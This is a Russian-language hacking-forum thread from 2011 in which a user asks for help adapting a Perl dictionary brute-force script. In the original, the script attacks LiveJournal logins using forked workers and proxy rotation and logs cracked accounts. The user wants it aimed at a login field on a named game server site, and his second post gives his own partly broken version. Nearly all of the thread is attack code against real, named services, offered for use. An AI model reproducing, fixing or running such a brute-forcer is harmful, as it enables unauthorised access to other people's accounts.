Брут одного поля
Пользователи, просматривающие топик: none
|
Зашли как: Guest
|
Имя |
Сообщение |
<< Старые топики Новые топики >> |
|
|
Брут одного поля - 2011-03-17 14:41:43.190000
|
|
|
hanterr333
Сообщений: 4
Оценки: 0
Присоединился: 2011-02-15 18:57:33.930000
|
Здраствуйте у меня есть несколько вопросов как можно сделать чтоб брутило вот на этой странице одно поле(по словарю логинов),и сохраняло лог http://l2fury.ru/retrive.php что нужно поменять в этих исходниках на perl?
#!/usr/bin/perl
use IO::Socket; ## Юзаем сокеты
use Getopt::Std; ## А также модуль для командной строки
getopt("splwudt"); ## Объявим возможные опции
$|++; ## Инкременируем буферайз
$server=$opt_s || "www.livejournal.com"; ## Задаем сервер
$port="80"; ## А также порт :)
$logfile=$opt_l || "cracked.log"; ## Сюда пишем взломанный аккаунт
$words=$opt_w || "dict.txt"; ## Наш большой словарик, по кторому ведется брутфорс
$user=$opt_u || "fuck"; ## Юзер, которого ломаем
$dir=$opt_d || "/login.bml"; ## Скрипт, который возвращает статус
$threads=$opt_t || 10;
if ($opt_p) { ## Если есть опция -p
open(proxy,$proxylist) || die "cant find proxylist\n"; ## Откроем лист с проксиками
@proxies=<proxy>; ## Занесем их в массив
close proxy; ## И закроем файл
}
open(file, "$words") or die print "$!\n"; ## Открываем словарь
while($pass=<file>) { ## По каждой строки
chomp($pass); ## Удаляем \n
push(@threads,$pass); ## Добавляем пароль в @threads
if (scalar @threads eq $threads-1) { ## Если количество элементов соответстует числу потомков
for ($j=0;$j<=$threads-1;$j++) { ## Откроем цикл по числу потомков
if ($pid=fork()) { ## Ответвим процесс
push(@forked,$pid); ## Запомним идентификатор
} else {
crack($threads[$j]); ## Проверим пароль
exit; ## Выходим из потомка
}
}
killall(); ## Убиваем все потомки
exit
if ($doneall);
} }
close file; ## Закрываем файл
sub killall {
foreach $pid (@forked) {
chomp; ## По каждому процессу из списка
waitpid($pid,0); ## Дожидаемся его завершения
kill("TERM" => $pid) ## А лишь затем убиваем его
}
undef @forked;
undef @threads; ## Делаем массивы @forked и @threads неопределенными
}
sub crack {
my $pass=shift; ## Пароль - параметр командной строки
($server,$port)=split(':',$proxies[rand(int(scalar @proxies))])
if ($opt_p); ## Если имеется параметр -p - возьмем рандомный прокси из листа
$socket=IO::Socket::INET->new(PeerAddr => $server,
PeerPort => $port,
Proto => tcp)
or crack($pass); ## Создаем соединение с livejournal.com, либо рекурсивно вызываем эту же функцию
$socket->autoflush(1); ## Отрубаем буферизацию (на всякий случай, т.к. по дефолту она вырублена)
$post="user=$user&password=$pass&"; ## Формируем POST-запрос
$len=length($post);
$len+=1; ## Находим длину запроса (фраза + \r\n)
print $socket "POST $dir HTTP/1.0\r\n";
print $socket "Host: www.livejournal.com\r\n";;
print $socket "Content-Type: application/x-www-form-urlencoded\r\n";
print $socket "Connection: Close\r\n";
print $socket "Content-Length: $len\r\n";
print $socket "\r\n$post\r\n";
## Отправим в сокет длинный header
$socket->recv($answer,1024); ## И прочитаем возврат = 1 кб данных
if ($answer=~/\:$user\:/) {
open(logf, ">>$logfile") or die print "$!\n";
print logf "$user:$pass is OK!!!\n";
close logf;
print "$user:$pass is OK!!!\n";
$doneall=1;
exit 0; ## Если он содержит строку вида :user: - пишем лог и завершаем брут.
} ## Иначе, проверяем следующий пароль
return;
}
|
|
|
RE: Брут одного поля - 2011-03-17 15:33:12.950000
|
|
|
hanterr333
Сообщений: 4
Оценки: 0
Присоединился: 2011-02-15 18:57:33.930000
|
вот написал программу но она не брутит и не сохраняет лог
#!/usr/bin/perl
use IO::Socket; ## Юзаем сокеты
use Getopt::Std; ## А также модуль для командной строки
getopt("splwudv"); ## Объявляем возможные опции
$|++; ## Инкременируем буферайз
$server=$opt_s || "http://l2furyru.tk"; ## Задаем сервер
$port=$opt_p || "80"; ## А также порт :)
$logfile=$opt_l || "cracked.log"; ## Сюда пишем взломанный аккаунт
$words=$opt_w || "log.txt"; ## Наш большой словарик, по кторому ведется брутфорс
$dir=$opt_d || "/login.bml"; ## Скрипт, который возвращает статус
open(file, "$words") or die print "$!\n"; ## Открываем словарь
while($pass=<file>) { ## По каждой строки
chomp($pass); ## Удаляем \n
crack($pass); ## Проверим пароль
}
close file; ## Закрываем файл
sub crack {
my $pass=shift; ## Пароль-параметр процедуры
print "Now: $pass\n"
if ($opt_v);
$socket=IO::Socket::INET->new(PeerAddr => $server,
PeerPort => $port,
Proto => tcp)
or die print "Unable to connect to $server:$port\n"; ## Создаем соединение с livejournal.com
$socket->autoflush(1); ## Отрубаем буферизацию (на всякий случай, т.к. по дефолту она вырублена)
$post="&login=$pass&"; ## Формируем POST-запрос
$len=length($post);
$len+=1; ## Находим длину запроса (фраза + \r\n)
print $socket "POST $dir HTTP/1.0\r\n";
print $socket "Host: www.livejournal.com\r\n";;
print $socket "Content-Type: application/x-www-form-urlencoded\r\n";
print $socket "Connection: Close\r\n";
print $socket "Content-Length: $len\r\n";
print $socket "\r\n$post\r\n";
## Отправим в сокет длинный header
$socket->recv($answer,1024); ## И прочитаем возврат = 1 кб данных
if ($answer=~/\:$user\:/) {
open(logf, ">>$logfile") or die print "$!\n";
print logf "$pass is OK!!!\n";
close logf;
print "$pass is OK!!!\n";
exit 0; ## Если он содержит строку вида :user: - пишем лог и завершаем брут.
} ## Иначе, проверяем следующий пароль
return;
}
|
|
|
|
|